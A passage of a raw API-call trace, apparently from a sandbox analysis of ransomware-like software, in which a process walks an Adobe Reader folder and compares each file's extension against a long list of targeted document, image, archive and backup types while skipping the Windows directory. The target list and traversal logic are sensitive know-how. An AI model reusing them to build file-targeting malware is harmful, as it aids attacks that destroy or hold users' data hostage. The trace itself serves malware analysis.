lstrlenW (lpString=".c") returned 2 [0261.942] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.942] lstrlenW (lpString=".cdr") returned 4 [0261.942] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.942] lstrlenW (lpString=".cer") returned 4 [0261.942] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.942] lstrlenW (lpString=".cf") returned 3 [0261.942] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.942] lstrlenW (lpString=".cfc") returned 4 [0261.942] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.943] lstrlenW (lpString=".cfm") returned 4 [0261.943] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.943] lstrlenW (lpString=".cfml") returned 5 [0261.943] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.943] lstrlenW (lpString=".cfu") returned 4 [0261.943] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.943] lstrlenW (lpString=".chm") returned 4 [0261.943] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.943] lstrlenW (lpString=".cin") returned 4 [0261.943] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.943] lstrlenW (lpString=".class") returned 6 [0261.943] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.943] lstrlenW (lpString=".clx") returned 4 [0261.943] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.943] lstrlenW (lpString=".config") returned 7 [0261.943] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.943] lstrlenW (lpString=".cpp") returned 4 [0261.943] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.943] lstrlenW (lpString=".cr2") returned 4 [0261.943] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.943] lstrlenW (lpString=".crt") returned 4 [0261.943] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.943] lstrlenW (lpString=".crw") returned 4 [0261.944] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.944] lstrlenW (lpString=".cs") returned 3 [0261.944] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.944] lstrlenW (lpString=".css") returned 4 [0261.944] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.944] lstrlenW (lpString=".csv") returned 4 [0261.944] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.944] lstrlenW (lpString=".cub") returned 4 [0261.944] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.944] lstrlenW (lpString=".dae") returned 4 [0261.944] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.944] lstrlenW (lpString=".dat") returned 4 [0261.944] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.944] lstrlenW (lpString=".db") returned 3 [0261.944] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.944] lstrlenW (lpString=".dbf") returned 4 [0261.944] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.944] lstrlenW (lpString=".dbx") returned 4 [0261.944] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.944] lstrlenW (lpString=".dc3") returned 4 [0261.944] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.944] lstrlenW (lpString=".dcm") returned 4 [0261.944] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.944] lstrlenW (lpString=".dcr") returned 4 [0261.945] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.946] lstrlenW (lpString=".der") returned 4 [0261.946] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.946] lstrlenW (lpString=".dib") returned 4 [0261.946] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.946] lstrlenW (lpString=".dic") returned 4 [0261.946] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.946] lstrlenW (lpString=".dif") returned 4 [0261.946] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.946] lstrlenW (lpString=".divx") returned 5 [0261.946] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.946] lstrlenW (lpString=".djvu") returned 5 [0261.946] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.946] lstrlenW (lpString=".dng") returned 4 [0261.946] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.946] lstrlenW (lpString=".doc") returned 4 [0261.946] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.946] lstrlenW (lpString=".docm") returned 5 [0261.946] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.946] lstrlenW (lpString=".docx") returned 5 [0261.946] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.946] lstrlenW (lpString=".dot") returned 4 [0261.946] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.946] lstrlenW (lpString=".dotm") returned 5 [0261.947] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.947] lstrlenW (lpString=".dotx") returned 5 [0261.947] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.947] lstrlenW (lpString=".dpx") returned 4 [0261.947] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.947] lstrlenW (lpString=".dqy") returned 4 [0261.947] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.947] lstrlenW (lpString=".dsn") returned 4 [0261.947] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.947] lstrlenW (lpString=".dt") returned 3 [0261.947] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.947] lstrlenW (lpString=".dtd") returned 4 [0261.947] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.947] lstrlenW (lpString=".dwg") returned 4 [0261.947] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.947] lstrlenW (lpString=".dwt") returned 4 [0261.948] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.948] lstrlenW (lpString=".dx") returned 3 [0261.948] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.948] lstrlenW (lpString=".dxf") returned 4 [0261.948] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.948] lstrlenW (lpString=".edml") returned 5 [0261.948] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.948] lstrlenW (lpString=".efd") returned 4 [0261.948] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.948] lstrlenW (lpString=".elf") returned 4 [0261.948] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.948] lstrlenW (lpString=".emf") returned 4 [0261.949] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.949] lstrlenW (lpString=".emz") returned 4 [0261.949] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.949] lstrlenW (lpString=".epf") returned 4 [0261.949] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0261.949] lstrlenW (lpString=".eps") returned 4 [0261.949] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0261.949] lstrlenW (lpString=".epsf") returned 5 [0261.949] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0261.949] lstrlenW (lpString=".epsp") returned 5 [0261.949] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0261.949] lstrlenW (lpString=".erf") returned 4 [0261.949] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0261.949] lstrlenW (lpString=".exr") returned 4 [0261.949] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0261.949] lstrlenW (lpString=".f4v") returned 4 [0261.949] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0261.949] lstrlenW (lpString=".fido") returned 5 [0261.949] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0261.949] lstrlenW (lpString=".flm") returned 4 [0261.949] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0261.949] lstrlenW (lpString=".flv") returned 4 [0261.949] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0261.949] lstrlenW (lpString=".frm") returned 4 [0261.949] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0261.949] lstrlenW (lpString=".fxg") returned 4 [0261.950] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0261.950] lstrlenW (lpString=".geo") returned 4 [0261.950] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0261.950] lstrlenW (lpString=".gif") returned 4 [0261.950] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0261.950] lstrlenW (lpString=".grs") returned 4 [0261.950] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0261.950] lstrlenW (lpString=".gz") returned 3 [0261.950] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0261.950] lstrlenW (lpString=".h") returned 2 [0261.950] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0261.950] lstrlenW (lpString=".hdr") returned 4 [0261.950] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0261.950] lstrlenW (lpString=".hpp") returned 4 [0261.950] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0261.950] lstrlenW (lpString=".hta") returned 4 [0261.950] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0261.950] lstrlenW (lpString=".htc") returned 4 [0261.950] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0261.950] lstrlenW (lpString=".htm") returned 4 [0261.950] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0261.950] lstrlenW (lpString=".html") returned 5 [0261.950] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0261.950] lstrlenW (lpString=".icb") returned 4 [0261.950] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0261.950] lstrlenW (lpString=".ics") returned 4 [0261.951] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0261.951] lstrlenW (lpString=".iff") returned 4 [0261.951] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0261.951] lstrlenW (lpString=".inc") returned 4 [0261.951] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0261.951] lstrlenW (lpString=".indd") returned 5 [0261.951] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0261.951] lstrlenW (lpString=".ini") returned 4 [0261.951] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0261.951] lstrlenW (lpString=".iqy") returned 4 [0261.951] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0261.951] lstrlenW (lpString=".j2c") returned 4 [0261.951] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0261.951] lstrlenW (lpString=".j2k") returned 4 [0261.951] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0261.951] lstrlenW (lpString=".java") returned 5 [0261.951] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0261.951] lstrlenW (lpString=".jp2") returned 4 [0261.951] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0261.951] lstrlenW (lpString=".jpc") returned 4 [0261.951] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0261.951] lstrlenW (lpString=".jpe") returned 4 [0261.951] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0261.951] lstrlenW (lpString=".jpeg") returned 5 [0261.951] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0261.951] lstrlenW (lpString=".jpf") returned 4 [0261.951] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0261.951] lstrlenW (lpString=".jpg") returned 4 [0261.951] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0261.952] lstrlenW (lpString=".jpx") returned 4 [0261.952] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0261.952] lstrlenW (lpString=".js") returned 3 [0261.952] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0261.952] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.952] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0261.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0261.952] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0261.952] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de") returned 105 [0261.952] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de") returned 1 [0261.952] lstrlenW (lpString="de-de") returned 5 [0261.952] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="de-de") returned -1 [0261.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0261.952] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de") returned 105 [0261.952] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0261.953] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.953] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.953] lstrlenW (lpString="ui-strings.js") returned 13 [0261.953] lstrlenW (lpString=".1cd") returned 4 [0261.953] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.953] lstrlenW (lpString=".3ds") returned 4 [0261.953] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.953] lstrlenW (lpString=".3fr") returned 4 [0261.953] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.953] lstrlenW (lpString=".3g2") returned 4 [0261.953] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.953] lstrlenW (lpString=".3gp") returned 4 [0261.953] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.953] lstrlenW (lpString=".7z") returned 3 [0261.953] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.953] lstrlenW (lpString=".accda") returned 6 [0261.953] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.953] lstrlenW (lpString=".accdb") returned 6 [0261.953] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.953] lstrlenW (lpString=".accdc") returned 6 [0261.953] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.953] lstrlenW (lpString=".accde") returned 6 [0261.954] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.954] lstrlenW (lpString=".accdt") returned 6 [0261.954] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.954] lstrlenW (lpString=".accdw") returned 6 [0261.954] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.954] lstrlenW (lpString=".adb") returned 4 [0261.954] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.954] lstrlenW (lpString=".adp") returned 4 [0261.954] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.954] lstrlenW (lpString=".ai") returned 3 [0261.954] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.954] lstrlenW (lpString=".ai3") returned 4 [0261.954] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.954] lstrlenW (lpString=".ai4") returned 4 [0261.954] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.954] lstrlenW (lpString=".ai5") returned 4 [0261.954] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.954] lstrlenW (lpString=".ai6") returned 4 [0261.954] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.954] lstrlenW (lpString=".ai7") returned 4 [0261.954] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.954] lstrlenW (lpString=".ai8") returned 4 [0261.954] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.954] lstrlenW (lpString=".anim") returned 5 [0261.954] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.954] lstrlenW (lpString=".arw") returned 4 [0261.955] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.955] lstrlenW (lpString=".as") returned 3 [0261.955] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.955] lstrlenW (lpString=".asa") returned 4 [0261.955] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.955] lstrlenW (lpString=".asc") returned 4 [0261.955] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.955] lstrlenW (lpString=".ascx") returned 5 [0261.955] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.955] lstrlenW (lpString=".asm") returned 4 [0261.955] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.955] lstrlenW (lpString=".asmx") returned 5 [0261.955] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.955] lstrlenW (lpString=".asp") returned 4 [0261.955] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.955] lstrlenW (lpString=".aspx") returned 5 [0261.955] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.955] lstrlenW (lpString=".asr") returned 4 [0261.955] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.955] lstrlenW (lpString=".asx") returned 4 [0261.955] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.955] lstrlenW (lpString=".avi") returned 4 [0261.955] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.955] lstrlenW (lpString=".avs") returned 4 [0261.956] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.956] lstrlenW (lpString=".backup") returned 7 [0261.956] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.956] lstrlenW (lpString=".bak") returned 4 [0261.956] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.956] lstrlenW (lpString=".bay") returned 4 [0261.956] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.956] lstrlenW (lpString=".bd") returned 3 [0261.956] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.956] lstrlenW (lpString=".bin") returned 4 [0261.956] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.956] lstrlenW (lpString=".bmp") returned 4 [0261.956] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.956] lstrlenW (lpString=".bz2") returned 4 [0261.956] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.956] lstrlenW (lpString=".c") returned 2 [0261.956] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.956] lstrlenW (lpString=".cdr") returned 4 [0261.956] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.956] lstrlenW (lpString=".cer") returned 4 [0261.956] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.956] lstrlenW (lpString=".cf") returned 3 [0261.956] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.956] lstrlenW (lpString=".cfc") returned 4 [0261.956] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.956] lstrlenW (lpString=".cfm") returned 4 [0261.956] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.956] lstrlenW (lpString=".cfml") returned 5 [0261.957] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.957] lstrlenW (lpString=".cfu") returned 4 [0261.957] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.957] lstrlenW (lpString=".chm") returned 4 [0261.957] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.957] lstrlenW (lpString=".cin") returned 4 [0261.957] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.957] lstrlenW (lpString=".class") returned 6 [0261.957] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.957] lstrlenW (lpString=".clx") returned 4 [0261.957] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.957] lstrlenW (lpString=".config") returned 7 [0261.957] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.957] lstrlenW (lpString=".cpp") returned 4 [0261.957] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.957] lstrlenW (lpString=".cr2") returned 4 [0261.957] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.957] lstrlenW (lpString=".crt") returned 4 [0261.957] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.957] lstrlenW (lpString=".crw") returned 4 [0261.957] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.957] lstrlenW (lpString=".cs") returned 3 [0261.957] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.957] lstrlenW (lpString=".css") returned 4 [0261.957] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.957] lstrlenW (lpString=".csv") returned 4 [0261.957] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.957] lstrlenW (lpString=".cub") returned 4 [0261.957] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.957] lstrlenW (lpString=".dae") returned 4 [0261.958] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.958] lstrlenW (lpString=".dat") returned 4 [0261.958] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.958] lstrlenW (lpString=".db") returned 3 [0261.958] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.958] lstrlenW (lpString=".dbf") returned 4 [0261.958] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.958] lstrlenW (lpString=".dbx") returned 4 [0261.958] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.958] lstrlenW (lpString=".dc3") returned 4 [0261.958] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.958] lstrlenW (lpString=".dcm") returned 4 [0261.958] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.958] lstrlenW (lpString=".dcr") returned 4 [0261.958] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.958] lstrlenW (lpString=".der") returned 4 [0261.958] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.958] lstrlenW (lpString=".dib") returned 4 [0261.959] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.959] lstrlenW (lpString=".dic") returned 4 [0261.959] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.959] lstrlenW (lpString=".dif") returned 4 [0261.959] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.959] lstrlenW (lpString=".divx") returned 5 [0261.959] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.959] lstrlenW (lpString=".djvu") returned 5 [0261.959] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.959] lstrlenW (lpString=".dng") returned 4 [0261.959] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.959] lstrlenW (lpString=".doc") returned 4 [0261.959] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.959] lstrlenW (lpString=".docm") returned 5 [0261.959] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.959] lstrlenW (lpString=".docx") returned 5 [0261.959] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.959] lstrlenW (lpString=".dot") returned 4 [0261.959] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.959] lstrlenW (lpString=".dotm") returned 5 [0261.959] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.959] lstrlenW (lpString=".dotx") returned 5 [0261.959] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.960] lstrlenW (lpString=".dpx") returned 4 [0261.960] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.960] lstrlenW (lpString=".dqy") returned 4 [0261.960] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.960] lstrlenW (lpString=".dsn") returned 4 [0261.960] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.960] lstrlenW (lpString=".dt") returned 3 [0261.960] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.960] lstrlenW (lpString=".dtd") returned 4 [0261.960] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.960] lstrlenW (lpString=".dwg") returned 4 [0261.960] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.960] lstrlenW (lpString=".dwt") returned 4 [0261.960] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.960] lstrlenW (lpString=".dx") returned 3 [0261.960] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.960] lstrlenW (lpString=".dxf") returned 4 [0261.960] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.960] lstrlenW (lpString=".edml") returned 5 [0261.960] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.960] lstrlenW (lpString=".efd") returned 4 [0261.960] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.961] lstrlenW (lpString=".elf") returned 4 [0261.961] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.961] lstrlenW (lpString=".emf") returned 4 [0261.961] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.961] lstrlenW (lpString=".emz") returned 4 [0261.961] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.961] lstrlenW (lpString=".epf") returned 4 [0261.961] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0261.961] lstrlenW (lpString=".eps") returned 4 [0261.961] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0261.961] lstrlenW 